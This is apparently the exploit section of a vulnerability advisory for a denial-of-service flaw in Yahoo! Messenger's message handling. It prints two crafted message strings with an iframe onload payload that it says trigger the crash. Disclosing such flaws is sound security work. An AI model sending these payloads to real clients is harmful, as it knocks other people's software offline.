• info
• discussion
• exploit
• solution
• references

Yahoo! Messenger Message Handling Denial of Service Vulnerability

An attacker can exploit this issue via standard networking tools or possibly by using another client application.

The following examples are sufficient to trigger this issue:

s:[space]msg[alt+0160]:---------------------------------------------iframe onload=$InlineAction()>:)

msg:---------------------------------------------iframe onload=$InlineAction()>:)